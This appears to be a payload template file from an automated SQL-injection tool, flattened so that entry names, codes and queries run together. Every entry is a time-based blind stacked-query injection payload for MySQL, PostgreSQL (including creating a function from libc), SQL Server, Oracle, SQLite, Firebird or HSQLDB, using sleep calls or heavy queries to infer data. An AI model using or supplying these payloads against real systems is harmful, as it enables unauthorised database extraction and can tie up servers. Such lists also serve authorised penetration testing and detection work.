MySQL > 5.0.11 stacked queries (SELECT)42101;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]);(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])MySQL> 5.0.11MySQL > 5.0.11 stacked queries (SELECT - comment)44101;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]);(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])#MySQL> 5.0.11MySQL > 5.0.11 stacked queries41101;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]);SELECT SLEEP([SLEEPTIME])-- MySQL> 5.0.11MySQL < 5.0.12 stacked queries (heavy query)42201;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]);SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))-- MySQLPostgreSQL > 8.1 stacked queries41101;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END);SELECT PG_SLEEP([SLEEPTIME])--PostgreSQL> 8.1PostgreSQL stacked queries (heavy query)42201;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END);SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)--PostgreSQLPostgreSQL < 8.2 stacked queries (Glibc)44101;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END);CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME])--PostgreSQL< 8.2LinuxMicrosoft SQL Server/Sybase stacked queries41101;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]';WAITFOR DELAY '0:0:[SLEEPTIME]'--Microsoft SQL ServerSybaseWindowsOracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)45101;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL--OracleOracle stacked queries (heavy query)45201;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5--OracleOracle stacked queries (DBMS_LOCK.SLEEP)45101;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END--OracleOracle stacked queries (USER_LOCK.SLEEP)45101;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END--OracleSQLite > 2.0 stacked queries (heavy query)43201;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END);SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))--SQLite> 2.0Firebird stacked queries (heavy query)43201;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4--Firebird>= 2.0HSQLDB >= 1.7.2 stacked queries43101;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)--HSQLDB>= 1.7.2HSQLDB >= 2.0 stacked queries44101;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)--HSQLDB>= 2.0